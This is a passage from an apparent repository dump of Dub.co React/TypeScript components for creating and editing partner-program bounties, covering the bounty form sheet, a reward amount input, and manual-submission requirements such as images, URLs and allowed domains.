from \"./use-add-edit-bounty-form\";\n\ninterface BountySheetProps {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  bounty?: BountyProps;\n}\n\nconst BOUNTY_TYPES: CardSelectorOption[] = [\n  {\n    key: \"performance\",\n    label: \"Performance\",\n    description: \"Reward for reaching milestones\",\n  },\n  {\n    key: \"submission\",\n    label: \"Submission\",\n    description: \"Reward for task completion\",\n  },\n];\n\nfunction BountySheetContent({ setIsOpen, bounty }: BountySheetProps) {\n  const { program } = useProgram();\n  const { plan, slug: workspaceSlug } = useWorkspace();\n\n  const {\n    form,\n    openAccordions,\n    setOpenAccordions,\n    hasStartDate,\n    handleStartDateToggle,\n    hasEndDate,\n    handleEndDateToggle,\n    handleEndDateChange,\n    allowedSubmissions,\n    handleAllowedSubmissionsChange,\n    maxAllowedSubmissions,\n    submissionWindow,\n    handleSubmissionWindowToggle,\n    handleSubmissionWindowChange,\n    submissionFrequency,\n    handleSubmissionFrequencyToggle,\n    handleSubmissionFrequencyChange,\n    type,\n    name,\n    control,\n    register,\n    setValue,\n    watch,\n    errors,\n    isDirty,\n    validationError,\n    confirmCreateBountyModal,\n    onSubmit,\n    isSubmitting,\n  } = useAddEditBountyForm({ bounty, setIsOpen });\n\n  const submissionRequirements = watch(\"submissionRequirements\");\n  const hasSocialMetrics =\n    submissionRequirements &&\n    typeof submissionRequirements === \"object\" &&\n    \"socialMetrics\" in submissionRequirements;\n  const canUseBountySocialMetrics =\n    getPlanCapabilities(plan).canUseBountySocialMetrics;\n  const showBountySocialMetricsUpsell =\n    hasSocialMetrics && !canUseBountySocialMetrics;\n\n  return (\n    <form onSubmit={onSubmit} className=\"flex h-full flex-col\">\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n        <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            {bounty ? \"Update\" : \"Create\"} bounty\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n      </div>\n\n      <FormProvider {...form}>\n        <div className=\"flex-1 overflow-y-auto\">\n          <div className=\"p-6\">\n            <ProgramSheetAccordion\n              type=\"multiple\"\n              value={openAccordions}\n              onValueChange={setOpenAccordions}\n              className=\"space-y-6\"\n            >\n              {!bounty && ( // cannot change type for existing bounties\n                <ProgramSheetAccordionItem value=\"bounty-type\">\n                  <ProgramSheetAccordionTrigger>\n                    Type\n                  </ProgramSheetAccordionTrigger>\n                  <ProgramSheetAccordionContent>\n                    <div className=\"space-y-4\">\n                      <p className=\"text-content-default text-sm\">\n                        Set how the bounty will be completed\n                      </p>\n                      <CardSelector\n                        options={BOUNTY_TYPES}\n                        value={watch(\"type\")}\n                        onChange={(value: CreateBountyInput[\"type\"]) =>\n                          setValue(\"type\", value)\n                        }\n                        name=\"bounty-type\"\n                      />\n                    </div>\n                  </ProgramSheetAccordionContent>\n                </ProgramSheetAccordionItem>\n              )}\n\n              <ProgramSheetAccordionItem value=\"bounty-details\">\n                <ProgramSheetAccordionTrigger>\n                  Details\n                </ProgramSheetAccordionTrigger>\n                <ProgramSheetAccordionContent>\n                  <div className=\"space-y-6\">\n                    {type === \"submission\" && (\n                      <>\n                        <div>\n                          <Label htmlFor=\"name\">Name</Label>\n                          <div className=\"mt-2\">\n                            <input\n                              id=\"name\"\n                              type=\"text\"\n                              maxLength={100}\n                              className={cn(\n                                \"block w-full rounded-md border-neutral-300 px-3 py-2 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                                errors.name &&\n                                  \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                              )}\n                              placeholder={`Create a YouTube video about${program?.name ? ` ${program.name}` : \"\"}...`}\n                              {...register(\"name\", {\n                                setValueAs: (value) =>\n                                  value === \"\" ? null : value,\n                              })}\n                            />\n                            <div className=\"mt-1 text-left\">\n                              <span className=\"text-xs text-neutral-400\">\n                                {name?.length || 0}/100\n                              </span>\n                            </div>\n                          </div>\n                        </div>\n                      </>\n                    )}\n\n                    <div>\n                      <Label>\n                        Description\n                        <span className=\"ml-1 font-normal text-neutral-500\">\n                          (optional)\n                        </span>\n                      </Label>\n                      <div className=\"mt-2\">\n                        <Controller\n                          control={control}\n                          name=\"description\"\n                          render={({ field }) => (\n                            <RichTextProvider\n                              features={[\"bold\", \"italic\", \"links\"]}\n                              markdown\n                              placeholder=\"Provide any bounty requirements to the partner\"\n                              editorClassName=\"block max-h-48 overflow-auto scrollbar-hide w-full resize-none border-none p-3 text-base sm:text-sm\"\n                              initialValue={field.value}\n                              onChange={(editor: any) =>\n                                field.onChange(editor.getMarkdown() || null)\n                              }\n                            >\n                              <div\n                                className={cn(\n                                  \"overflow-hidden rounded-md border border-neutral-300 focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500\",\n                                  errors.description &&\n                                    \"border-red-600 focus-within:border-red-500 focus-within:ring-red-600\",\n                                )}\n                              >\n                                <div className=\"flex flex-col\">\n                                  <RichTextArea />\n                                  <RichTextToolbar className=\"px-1 pb-1\" />\n                                </div>\n                              </div>\n                            </RichTextProvider>\n                          )}\n                        />\n\n                        <div className=\"mt-1 text-left\">\n                          <MaxCharactersCounter\n                            name=\"description\"\n                            control={control}\n                            maxLength={BOUNTY_DESCRIPTION_MAX_LENGTH}\n                            spaced\n                            className=\"text-content-muted\"\n                          />\n                        </div>\n                      </div>\n                    </div>\n\n                    <AnimatedSizeContainer\n                      height\n                      transition={{ ease: \"easeInOut\", duration: 0.2 }}\n                      style={{\n                        height: hasStartDate ? \"auto\" : \"0px\",\n                        overflow: \"hidden\",\n                      }}\n                    >\n                      <div className=\"flex items-center gap-4\">\n                        <Switch\n                          fn={handleStartDateToggle}\n                          checked={hasStartDate}\n                          trackDimensions=\"w-8 h-4\"\n                          thumbDimensions=\"w-3 h-3\"\n                          thumbTranslate=\"translate-x-4\"\n                          disabled={Boolean(bounty?.startsAt)}\n                        />\n                        <Label>Start date</Label>\n                      </div>\n\n                      {hasStartDate && (\n                        <div className=\"mt-3 p-px\">\n                          <Controller\n                            control={control}\n                            name=\"startsAt\"\n                            render={({ field }) => (\n                              <SmartDateTimePicker\n                                value={field.value}\n                                onChange={(date) =>\n                                  field.onChange(date ?? undefined)\n                                }\n                                placeholder='E.g. \"2026-02-28\", \"Last Thursday\", \"2 hours ago\"'\n                              />\n                            )}\n                          />\n                        </div>\n                      )}\n                    </AnimatedSizeContainer>\n\n                    {type === \"performance\" && (\n                      <AnimatedSizeContainer\n                        height\n                        transition={{ ease: \"easeInOut\", duration: 0.2 }}\n                        style={{\n                          height: hasEndDate ? \"auto\" : \"0px\",\n                          overflow: \"hidden\",\n                        }}\n                      >\n                        <div className=\"flex items-center gap-4\">\n                          <Switch\n                            fn={handleEndDateToggle}\n                            checked={hasEndDate}\n                            trackDimensions=\"w-8 h-4\"\n                            thumbDimensions=\"w-3 h-3\"\n                            thumbTranslate=\"translate-x-4\"\n                            disabled={Boolean(bounty?.endsAt)}\n                          />\n                          <Label>End date</Label>\n                        </div>\n\n                        {hasEndDate && (\n                          <div className=\"mt-3 p-px\">\n                            <Controller\n                              control={control}\n                              name=\"endsAt\"\n                              render={({ field }) => (\n                                <SmartDateTimePicker\n                                  value={field.value}\n                                  onChange={(date) =>\n                                    handleEndDateChange(date ?? null)\n                                  }\n                                  placeholder='E.g. \"2026-12-01\", \"Next Thursday\", \"After 10 days\"'\n                                />\n                              )}\n                            />\n                          </div>\n                        )}\n                      </AnimatedSizeContainer>\n                    )}\n\n                    {type === \"submission\" && (\n                      <AnimatedSizeContainer\n                        height\n                        transition={{ ease: \"easeInOut\", duration: 0.2 }}\n                        style={{\n                          height: hasEndDate ? \"auto\" : \"0px\",\n                          overflow: \"hidden\",\n                        }}\n                      >\n                        <div className=\"flex items-center gap-4\">\n                          <Switch\n                            fn={handleEndDateToggle}\n                            checked={hasEndDate}\n                            trackDimensions=\"w-8 h-4\"\n                            thumbDimensions=\"w-3 h-3\"\n                            thumbTranslate=\"translate-x-4\"\n                            disabled={Boolean(bounty?.endsAt)}\n                          />\n                          <Label>End date</Label>\n                        </div>\n\n                        {hasEndDate && (\n                          <div className=\"mt-3 p-px\">\n                            <Controller\n                              control={control}\n                              name=\"endsAt\"\n                              render={({ field }) => (\n                                <SmartDateTimePicker\n                                  value={field.value}\n                                  onChange={(date) =>\n                                    handleEndDateChange(date ?? null)\n                                  }\n                                  placeholder='E.g. \"2026-12-01\", \"Next Thursday\", \"After 10 days\"'\n                                />\n                              )}\n                            />\n                          </div>\n                        )}\n                      </AnimatedSizeContainer>\n                    )}\n\n                    {type === \"submission\" && (\n                      <>\n                        <div>\n                          <Label>Allowed submissions</Label>\n                          <div className=\"mt-2\">\n                            <NumberStepper\n                              value={allowedSubmissions}\n                              onChange={handleAllowedSubmissionsChange}\n                              min={1}\n                              max={maxAllowedSubmissions}\n                              step={1}\n                              className=\"w-full\"\n                            />\n                          </div>\n                        </div>\n\n                        <div>\n                          <Tooltip\n                            content={\n                              !hasEndDate\n                                ? \"Set an end date to use submission window.\"\n                                : allowedSubmissions > 1\n                                  ? \"Decrease allowed submissions to 1 to use submission window.\"\n                                  : undefined\n                            }\n                          >\n                            <div\n                              className={cn(\n                                \"flex items-center gap-4 transition-opacity\",\n                                (!hasEndDate || allowedSubmissions > 1) &&\n                                  \"opacity-30\",\n                              )}\n                            >\n                              <Switch\n                                fn={handleSubmissionWindowToggle}\n                                checked={submissionWindow != null}\n                                trackDimensions=\"w-8 h-4\"\n                                thumbDimensions=\"w-3 h-3\"\n                                thumbTranslate=\"translate-x-4\"\n                                disabled={!hasEndDate || allowedSubmissions > 1}\n                              />\n                              <Label>Submission window</Label>\n                            </div>\n                          </Tooltip>\n\n                          {submissionWindow != null && (\n                            <div className=\"mt-3 space-y-2\">\n                              <div className=\"rounded-lg border border-neutral-200 bg-neutral-50/50 p-2.5 shadow-sm\">\n                                <div className=\"flex items-center gap-2.5\">\n                                  <RewardIconSquare icon={CalendarIcon} />\n                                  <span className=\"text-content-default text-sm leading-relaxed\">\n                                    Partners can submit{\" \"}\n                                    <SubmissionWindowBadge\n                                      value={submissionWindow}\n                                      onChange={handleSubmissionWindowChange}\n                                    />{\" \"}\n                                    days before the end date\n                                  </span>\n                                </div>\n                              </div>\n                            </div>\n                          )}\n                        </div>\n\n                        <div>\n                          <Tooltip\n                            content={\n                              allowedSubmissions === 1\n                                ? \"Increase allowed submissions to 2 or more to use submission frequency.\"\n                                : maxAllowedSubmissions < 2\n                                  ? \"The selected date range is too short for submission frequency.\"\n                                  : undefined\n                            }\n                          >\n                            <div\n                              className={cn(\n                                \"flex items-center gap-4 transition-opacity\",\n                                (allowedSubmissions === 1 ||\n                                  maxAllowedSubmissions < 2) &&\n                                  \"opacity-30\",\n                              )}\n                            >\n                              <Switch\n                                fn={handleSubmissionFrequencyToggle}\n                                checked={submissionFrequency != null}\n                                trackDimensions=\"w-8 h-4\"\n                                thumbDimensions=\"w-3 h-3\"\n                                thumbTranslate=\"translate-x-4\"\n                                disabled={\n                                  allowedSubmissions === 1 ||\n                                  maxAllowedSubmissions < 2\n                                }\n                              />\n                              <Label>Submission frequency</Label>\n                            </div>\n                          </Tooltip>\n\n                          {submissionFrequency != null && (\n                            <div className=\"mt-3 space-y-2\">\n                              <Combobox\n                                selected={\n                                  SUBMISSION_FREQUENCY_OPTIONS.find(\n                                    (option) =>\n                                      option.value === submissionFrequency,\n                                  ) ?? null\n                                }\n                                setSelected={(option) =>\n                                  handleSubmissionFrequencyChange(\n                                    option?.value as BountySubmissionFrequency,\n                                  )\n                                }\n                                options={\n                                  SUBMISSION_FREQUENCY_OPTIONS as unknown as ComboboxOption<BountySubmissionFrequency>[]\n                                }\n                                caret\n                                matchTriggerWidth\n                                hideSearch\n                                buttonProps={{\n                                  className: cn(\n                                    \"w-full justify-start border-neutral-300 px-3\",\n                                    \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n                                    \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 focus:border-[var(--brand)] focus:ring-[var(--brand)] transition-none\",\n                                  ),\n                                }}\n                              />\n                            </div>\n                          )}\n                        </div>\n                      </>\n                    )}\n                  </div>\n                </ProgramSheetAccordionContent>\n              </ProgramSheetAccordionItem>\n\n              <BountyCriteria />\n\n              <ProgramSheetAccordionItem value=\"groups\">\n                <ProgramSheetAccordionTrigger>\n                  Groups\n                </ProgramSheetAccordionTrigger>\n                <ProgramSheetAccordionContent>\n                  <Controller\n                    control={control}\n                    name=\"groupIds\"\n                    render={({ field }) => (\n                      <GroupsMultiSelect\n                        selectedGroupIds={field.value}\n                        setSelectedGroupIds={(ids) => field.onChange(ids)}\n                      />\n                    )}\n                  />\n                </ProgramSheetAccordionContent>\n              </ProgramSheetAccordionItem>\n            </ProgramSheetAccordion>\n          </div>\n        </div>\n\n        <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white\">\n          <div className=\"flex items-center justify-end gap-2 p-5\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              onClick={() => setIsOpen(false)}\n              text=\"Cancel\"\n              className=\"h-9 w-fit\"\n              disabled={isSubmitting}\n            />\n\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={bounty ? \"Update bounty\" : \"Create bounty\"}\n              className=\"h-9 w-fit\"\n              loading={isSubmitting}\n              disabled={Boolean(validationError) || (bounty && !isDirty)}\n              disabledTooltip={\n                showBountySocialMetricsUpsell ? (\n                  <TooltipContent\n                    title=\"[Social metrics bounties](https://dub.co/help/article/program-bounties#social-metrics-bounties) are only available on the Advanced plan and above.\"\n                    cta=\"Upgrade to Advanced\"\n                    href={`/${workspaceSlug}/upgrade?showPartnersUpgradeModal=true`}\n                    target=\"_blank\"\n                  />\n                ) : (\n                  validationError ||\n                  (bounty && !isDirty ? \"No changes to save\" : undefined)\n                )\n              }\n            />\n          </div>\n        </div>\n      </FormProvider>\n      {!bounty && confirmCreateBountyModal}\n    </form>\n  );\n}\n\nfunction SubmissionWindowBadge({\n  value,\n  onChange,\n}: {\n  value: number;\n  onChange: (value: number | undefined) => void;\n}) {\n  return (\n    <InlineBadgePopover\n      text={\n        value != null && !isNaN(value) ? String(value) : \"Submission window\"\n      }\n      invalid={value == null || isNaN(value)}\n    >\n      <InlineBadgePopoverInput\n        type=\"number\"\n        min={1}\n        value={value == null || value === 0 ? \"\" : String(value)}\n        onChange={(e) => {\n          const raw = (e.target as HTMLInputElement).value;\n\n          if (raw === \"\") {\n            onChange(undefined);\n            return;\n          }\n\n          const num = parseInt(raw, 10);\n\n          onChange(Number.isNaN(num) ? undefined : Math.max(1, num));\n        }}\n        placeholder=\"days\"\n      />\n    </InlineBadgePopover>\n  );\n}\n\nexport function BountySheet({\n  isOpen,\n  nested,\n  ...rest\n}: BountySheetProps & {\n  isOpen: boolean;\n  nested?: boolean;\n}) {\n  const { queryParams } = useRouterStuff();\n\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={rest.setIsOpen}\n      onClose={() => queryParams({ del: \"bountyId\", scroll: false })}\n      nested={nested}\n    >\n      <BountySheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nexport function useBountySheet(\n  props: { nested?: boolean } & Omit<BountySheetProps, \"setIsOpen\"> = {},\n) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    BountySheet: (\n      <BountySheet setIsOpen={setIsOpen} isOpen={isOpen} {...props} />\n    ),\n    setShowCreateBountySheet: setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/add-edit-bounty/bounty-amount-input.tsx",
    "content": "\"use client\";\n\nimport { isCurrencyAttribute } from \"@/lib/api/workflows/utils\";\nimport { handleMoneyInputChange, handleMoneyKeyDown } from \"@/lib/form-utils\";\nimport { InlineBadgePopoverContext } from \"@/ui/shared/inline-badge-popover\";\nimport { cn } from \"@dub/utils\";\nimport { useContext } from \"react\";\nimport { useBountyFormContext } from \"./bounty-form-context\";\n\ninterface BountyAmountInputProps {\n  name: \"rewardAmount\" | \"performanceCondition.value\";\n  emptyValue?: null | undefined;\n}\n\nexport function BountyAmountInput({\n  name,\n  emptyValue = null,\n}: BountyAmountInputProps) {\n  const { watch, register } = useBountyFormContext();\n  const { setIsOpen } = useContext(InlineBadgePopoverContext);\n\n  const attribute =\n    name === \"performanceCondition.value\"\n      ? watch(\"performanceCondition.attribute\")\n      : null;\n  const isCurrency =\n    name === \"rewardAmount\"\n      ? true\n      : attribute\n        ? isCurrencyAttribute(attribute)\n        : false;\n\n  return (\n    <div className=\"relative rounded-md shadow-sm\">\n      {isCurrency && (\n        <span className=\"absolute inset-y-0 left-0 flex items-center pl-1.5 text-sm text-neutral-400\">\n          $\n        </span>\n      )}\n      <input\n        className={cn(\n          \"block w-full rounded-md border-neutral-300 px-1.5 py-1 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:w-32 sm:text-sm\",\n          isCurrency ? \"pl-4 pr-12\" : \"pr-7\",\n        )}\n        {...register(name, {\n          required: true,\n          setValueAs: (value: string) => (value === \"\" ? emptyValue : +value),\n          min: 0,\n          onChange: handleMoneyInputChange,\n        })}\n        onKeyDown={(e) => {\n          if (e.key === \"Enter\") {\n            e.preventDefault();\n            setIsOpen(false);\n            return;\n          }\n\n          handleMoneyKeyDown(e);\n        }}\n      />\n      {isCurrency && (\n        <span className=\"absolute inset-y-0 right-0 flex items-center pr-1.5 text-sm text-neutral-400\">\n          USD\n        </span>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/add-edit-bounty/bounty-criteria-manual-submission.tsx",
    "content": "\"use client\";\n\nimport {\n  BOUNTY_DEFAULT_SUBMISSION_URLS,\n  BOUNTY_MAX_SUBMISSION_FILES,\n  BOUNTY_MAX_SUBMISSION_URLS,\n} from \"@/lib/bounty/constants\";\nimport { RewardIconSquare } from \"@/ui/partners/rewards/reward-icon-square\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  InlineBadgePopover,\n  InlineBadgePopoverInput,\n  InlineBadgePopoverMenu,\n} from \"@/ui/shared/inline-badge-popover\";\nimport { Button, MoneyBills2, NumberStepper, Switch } from \"@dub/ui\";\nimport { cn, currencyFormatter } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { Controller } from \"react-hook-form\";\nimport { BountyAmountInput } from \"./bounty-amount-input\";\nimport { useBountyFormContext } from \"./bounty-form-context\";\n\nconst REWARD_TYPES = [\n  {\n    value: \"flat\",\n    label: \"flat rate\",\n  },\n  {\n    value: \"custom\",\n    label: \"custom\",\n  },\n] as const;\n\ntype RewardType = (typeof REWARD_TYPES)[number][\"value\"];\n\nconst REWARD_TYPE_COPY: Record<\n  RewardType,\n  { label: string; connectorCopy: string }\n> = {\n  flat: { label: \"flat rate\", connectorCopy: \"of \" },\n  custom: { label: \"custom amount\", connectorCopy: \"shown as \" },\n};\n\nconst REWARD_VALID_BUTTON_CLASS =\n  \"!bg-blue-50 !text-blue-700 hover:!bg-blue-100\";\nconst REWARD_INVALID_BUTTON_CLASS =\n  \"!bg-orange-50 !text-orange-500 hover:!bg-orange-100\";\n\nexport function BountyCriteriaManualSubmission() {\n  const { watch, setValue } = useBountyFormContext();\n\n  const [submissionRequirements, rewardType = \"flat\"] = watch([\n    \"submissionRequirements\",\n    \"rewardType\",\n  ]);\n\n  const requireImage = !!submissionRequirements?.image;\n  const requireUrl = !!submissionRequirements?.url;\n  const imageMax = submissionRequirements?.image?.max;\n  const urlMax = submissionRequirements?.url?.max;\n  const urlDomains = submissionRequirements?.url?.domains ?? [];\n\n  const updateSubmissionRequirements = (\n    imageRequired: boolean,\n    urlRequired: boolean,\n    imageMaxCount?: number,\n    urlMaxCount?: number,\n    urlDomainsList?: string[],\n  ) => {\n    const requirements: {\n      image?: { max?: number };\n      url?: { max?: number; domains?: string[] };\n    } = {};\n\n    if (imageRequired) {\n      requirements.image = {};\n\n      if (imageMaxCount !== undefined) {\n        requirements.image.max = imageMaxCount;\n      }\n    }\n\n    if (urlRequired) {\n      requirements.url = {};\n\n      if (urlMaxCount !== undefined) {\n        requirements.url.max = urlMaxCount;\n      }\n\n      if (urlDomainsList && urlDomainsList.length > 0) {\n        requirements.url.domains = urlDomainsList;\n      }\n    }\n\n    setValue(\n      \"submissionRequirements\",\n      Object.keys(requirements).length > 0 ? requirements : null,\n      { shouldDirty: true },\n    );\n  };\n\n  const handleRequireImageToggle = (checked: boolean) => {\n    updateSubmissionRequirements(\n      checked,\n      requireUrl,\n      checked ? imageMax : undefined,\n      urlMax,\n      urlDomains,\n    );\n  };\n\n  const handleRequireUrlToggle = (checked: boolean) => {\n    updateSubmissionRequirements(\n      requireImage,\n      checked,\n      imageMax,\n      checked ? urlMax : undefined,\n      checked ? urlDomains : undefined,\n    );\n  };\n\n  const handleImageMaxChange = (value: number) => {\n    updateSubmissionRequirements(\n      requireImage,\n      requireUrl,\n      value,\n      urlMax,\n      urlDomains,\n    );\n  };\n\n  const handleUrlMaxChange = (value: number) => {\n    updateSubmissionRequirements(\n      requireImage,\n      requireUrl,\n      imageMax,\n      value,\n      urlDomains,\n    );\n  };\n\n  const handleAddDomain = (domain: string) => {\n    const trimmedDomain = domain.trim().toLowerCase();\n\n    if (trimmedDomain && !urlDomains.includes(trimmedDomain)) {\n      const newDomains = [...urlDomains, trimmedDomain];\n\n      updateSubmissionRequirements(\n        requireImage,\n        requireUrl,\n        imageMax,\n        urlMax,\n        newDomains,\n      );\n    }\n  };\n\n  const handleRemoveDomain = (domain: string) => {\n    const newDomains = urlDomains.filter((d) => d !== domain);\n\n    updateSubmissionRequirements(\n      requireImage,\n      requireUrl,\n      imageMax,\n      urlMax,\n      newDomains,\n    );\n  };\n\n  return (\n    <>\n      <div className=\"space-y-4\">\n        <div className=\"space-y-3\">\n          <div className=\"flex items-center gap-4\">\n            <Switch\n              fn={handleRequireImageToggle}\n              checked={requireImage}\n              trackDimensions=\"w-8 h-4\"\n              thumbDimensions=\"w-3 h-3\"\n              thumbTranslate=\"translate-x-4\"\n            />\n            <span className=\"text-sm font-medium text-neutral-700\">\n              Require at least one image\n            </span>\n          </div>\n          <motion.div\n            className=\"overflow-hidden\"\n            initial={false}\n            animate={{\n              height: requireImage ? \"auto\" : 0,\n              opacity: requireImage ? 1 : 0,\n            }}\n            transition={{\n              height: { duration: 0.25, ease: [0.32, 0.72, 0, 1] },\n              opacity: { duration: 0.2 },\n            }}\n          >\n            <div className=\"space-y-3 rounded-lg border border-neutral-200 bg-neutral-50/50 p-4\">\n              <label className=\"text-sm font-medium text-neutral-700\">\n                Maximum images\n                <span className=\"ml-1 font-normal text-neutral-500\">\n                  (optional)\n                </span>\n              </label>\n              <NumberStepper\n                value={imageMax ?? BOUNTY_MAX_SUBMISSION_FILES}\n                onChange={handleImageMaxChange}\n                min={1}\n                max={BOUNTY_MAX_SUBMISSION_FILES}\n                step={1}\n                className=\"w-full\"\n              />\n              <p className=\"text-xs text-neutral-500\">\n                Set a maximum number of images partners can submit\n              </p>\n            </div>\n          </motion.div>\n        </div>\n\n        <div className=\"space-y-3\">\n          <div className=\"flex items-center gap-4\">\n            <Switch\n              fn={handleRequireUrlToggle}\n              checked={requireUrl}\n              trackDimensions=\"w-8 h-4\"\n              thumbDimensions=\"w-3 h-3\"\n              thumbTranslate=\"translate-x-4\"\n            />\n            <span className=\"text-sm font-medium text-neutral-700\">\n              Require at least one URL\n            </span>\n          </div>\n          <motion.div\n            className=\"overflow-hidden\"\n            initial={false}\n            animate={{\n              height: requireUrl ? \"auto\" : 0,\n              opacity: requireUrl ? 1 : 0,\n            }}\n            transition={{\n              height: { duration: 0.25, ease: [0.32, 0.72, 0, 1] },\n              opacity: { duration: 0.2 },\n            }}\n          >\n            <div className=\"space-y-4\">\n              <div className=\"space-y-3 rounded-lg border border-neutral-200 bg-neutral-50/50 p-4\">\n                <label className=\"text-sm font-medium text-neutral-700\">\n                  Maximum URLs\n                  <span className=\"ml-1 font-normal text-neutral-500\">\n                    (optional)\n                  </span>\n                </label>\n                <NumberStepper\n                  value={urlMax ?? BOUNTY_DEFAULT_SUBMISSION_URLS}\n                  onChange={handleUrlMaxChange}\n                  min={1}\n                  max={BOUNTY_MAX_SUBMISSION_URLS}\n                  step={1}\n                  className=\"w-full\"\n                />\n                <p className=\"text-xs text-neutral-500\">\n                  Set a maximum number of URLs partners can submit\n                </p>\n              </div>\n\n              <div className=\"space-y-3 rounded-lg border border-neutral-200 bg-neutral-50/50 p-4\">\n                <label className=\"text-sm font-medium text-neutral-700\">\n                  Allowed domains\n                  <span className=\"ml-1 font-normal text-neutral-500\">\n                    (optional)\n                  </span>\n                </label>\n                <div className=\"flex gap-2\">\n                  <input\n                    type=\"text\"\n                    placeholder=\"e.g. x.com\"\n                    className={cn(\n                      \"block h-9 flex-1 rounded-md border-neutral-300 px-3 py-1.5 text-sm text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500\",\n                    )}\n                    onKeyDown={(e) => {\n                      if (e.key === \"Enter\") {\n                        e.preventDefault();\n                        const input = e.currentTarget;\n                        handleAddDomain(input.value);\n                        input.value = \"\";\n                      }\n                    }}\n                  />\n                  <Button\n                    type=\"button\"\n                    variant=\"secondary\"\n                    text=\"Add\"\n                    className=\"h-9 w-fit px-3\"\n                    onClick={(e) => {\n                      const input = e.currentTarget\n                        .previousElementSibling as HTMLInputElement;\n                      if (input) {\n                        handleAddDomain(input.value);\n                        input.value = \"\";\n                      }\n                    }}\n                  />\n                </div>\n\n                {urlDomains.length > 0 && (\n                  <div className=\"mt-2 flex flex-wrap gap-2\">\n                    {urlDomains.map((domain) => (\n                      <div\n                        key={domain}\n                        className=\"flex items-center gap-1.5 rounded-md bg-neutral-100 px-2.5 py-1.5 text-sm text-neutral-700\"\n                      >\n                        <span>{domain}</span>\n                        <button\n                          type=\"button\"\n                          onClick={() => handleRemoveDomain(domain)}\n                          className=\"text-neutral-400 hover:text-neutral-600\"\n                        >\n                          <X className=\"size-3.5\" />\n                        </button>\n                      </div>\n                    ))}\n                  </div>\n                )}\n\n                <p className=\"text-xs text-neutral-500\">\n                  Restrict URLs to specific domains. Partners can submit URLs\n                  from these domains or their subdomains.\n                </p>\n              </div>\n            </div>\n          </motion.div>\n        </div>\n      </div>\n\n      <div className=\"rounded-lg border border-neutral-200 bg-neutral-50/50 p-2.5 shadow-sm\">\n        <div className=\"flex items-center gap-2.5\">\n          <RewardIconSquare icon={MoneyBills2} />\n          <span className=\"text-content-default text-sm leading-relaxed\">\n            On approval, pay a{\" \"}\n            <RewardTypeBadge\n              value={rewardType}\n              onSelect={(v) => setValue(\"rewardType\", v)}\n            />{\" \"}\n            {REWARD_TYPE_COPY[rewardType].connectorCopy}\n            <RewardValueBadge rewardType={rewardType} />\n          </span>\n        </div>\n      </div>\n    </>\n  );\n}\n\nfunction RewardTypeBadge({\n  value,\n  onSelect,\n}: {\n  value: RewardType;\n  onSelect: (v: RewardType) => void;\n}) {\n  return (\n    <InlineBadgePopover\n      text={REWARD_TYPE_COPY[value].label}\n      buttonClassName={REWARD_VALID_BUTTON_CLASS}\n    >\n      <InlineBadgePopoverMenu\n        items={REWARD_TYPES.map(({ value: v, label }) => ({\n          value: v,\n          text: label,\n        }))}\n        selectedValue={value}\n        onSelect={(v) => onSelect(v)}\n      />\n    </InlineBadgePopover>\n  );\n}\n\nfunction RewardValueBadge({ rewardType }: { rewardType: RewardType }) {\n  const { control, watch } = useBountyFormContext();\n\n  const [rewardAmount, rewardDescription] = watch([\n    \"rewardAmount\",\n    \"rewardDescription\",\n  ]);\n\n  if (rewardType === \"flat\") {\n    const invalid =\n      rewardAmount == null || isNaN(rewardAmount) || rewardAmount < 0;\n    const displayText =\n      rewardAmount != null && !isNaN(rewardAmount)\n        ? currencyFormatter(rewardAmount * 100, {\n            trailingZeroDisplay: \"stripIfInteger\",\n          })\n        : \"amount\";\n\n    return (\n      <InlineBadgePopover\n        text={displayText}\n        invalid={invalid}\n        buttonClassName={\n          invalid ? REWARD_INVALID_BUTTON_CLASS : REWARD_VALID_BUTTON_CLASS\n        }\n      >\n        <BountyAmountInput name=\"rewardAmount\" />\n      </InlineBadgePopover>\n    );\n  }\n\n  const invalid = !rewardDescription?.trim();\n  const displayText = rewardDescription?.trim() || \"reward description\";\n\n  return (\n    <InlineBadgePopover\n      text={displayText}\n      invalid={invalid}\n      buttonClassName={\n        invalid ? REWARD_INVALID_BUTTON_CLASS : REWARD_VALID_BUTTON_CLASS\n      }\n    >\n      <Controller\n        control={control}\n        name=\"rewardDescription\"\n        rules={{ maxLength: 100 }}\n        render={({ field }) => (\n          <InlineBadgePopoverInput\n            {...field}\n            value={field.value ?? \"\"}\n            onChange={(e) => {\n              const val = (e.target as HTMLInputElement).value;\n              field.onChange(val === \"\" ? null : val);\n            }}\n            placeholder=\"Earn an additional 10% if you hit your revenue goal\"\n            maxLength={100}\n          />\n        )}\n      />\n    </InlineBadgePopover>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/add-edit-bounty/bounty-criteria-social-metrics.tsx",
